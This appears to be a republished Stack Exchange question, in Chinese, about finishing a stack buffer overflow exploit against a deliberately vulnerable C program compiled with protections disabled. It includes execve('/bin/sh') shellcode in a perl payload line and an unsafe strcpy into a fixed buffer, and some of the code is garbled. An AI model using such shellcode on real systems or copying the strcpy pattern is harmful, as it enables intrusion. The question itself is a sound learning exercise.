栈溢出利用时如何获取name缓冲区地址或ESP执行shellcode
栈溢出利用中获取目标缓冲区地址的问题
当前尝试通过shellcode获取目标程序的执行控制权,目标程序的源码如下:
#include <string.h> #include <stdio.h> void func (char * arg) { char name [32]; strcpy (name, arg); printf ("\ nHello% s \ n \ n", name); } int main (int argc, char * argv []) { if (argc! = 2) { printf ("Usage: %s NAME\ n", argv[0]); exit (0); } func (argv [1]); printf ("End of program \ n \ n"); return 0; }
当前测试进展
- 经测试,向程序传入40个
'A'时会触发段错误,此时EIP寄存器已被成功覆盖 - 准备使用的shellcode长度为23字节,因此计划后续填充17个
'A'凑满偏移构造利用链,但核心阻塞问题是需要获取name缓冲区的起始地址,才能让shellcode跳转到对应位置执行 - 原本判断当前栈上仅有
name这一个局部变量,认为获取ESP(栈顶指针)的地址即可匹配到shellcode所在位置,因此编写了一个独立测试程序用来读取ESP的近似地址,该测试程序的源码如下:
#include <stdio.h> unsigned long get_sp (void) { __asm __ ("movl% esp,% eax"); } leading void () { printf ("0x% x \ n", get_sp ()); }
遇到的问题
执行构造完成的利用命令时始终触发段错误,使用的利用命令格式如下:
./my_program `perl -e 'print"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."A"x17."ESP address"'`
目标程序的编译参数如下,编译时已关闭所有常见的栈防护机制:
gcc -fno-stack-protector -D_FORTIFY_SOURCE = 0 -z norelro -z execstack my_program.c -o my_program
核心疑问
如何获取name缓冲区的起始地址,或拿到可直接用于利用跳转的对应ESP地址,以完成该栈溢出利用?
内容的提问来源于stack exchange,提问作者piramide
相关产品推荐
相关产品推荐

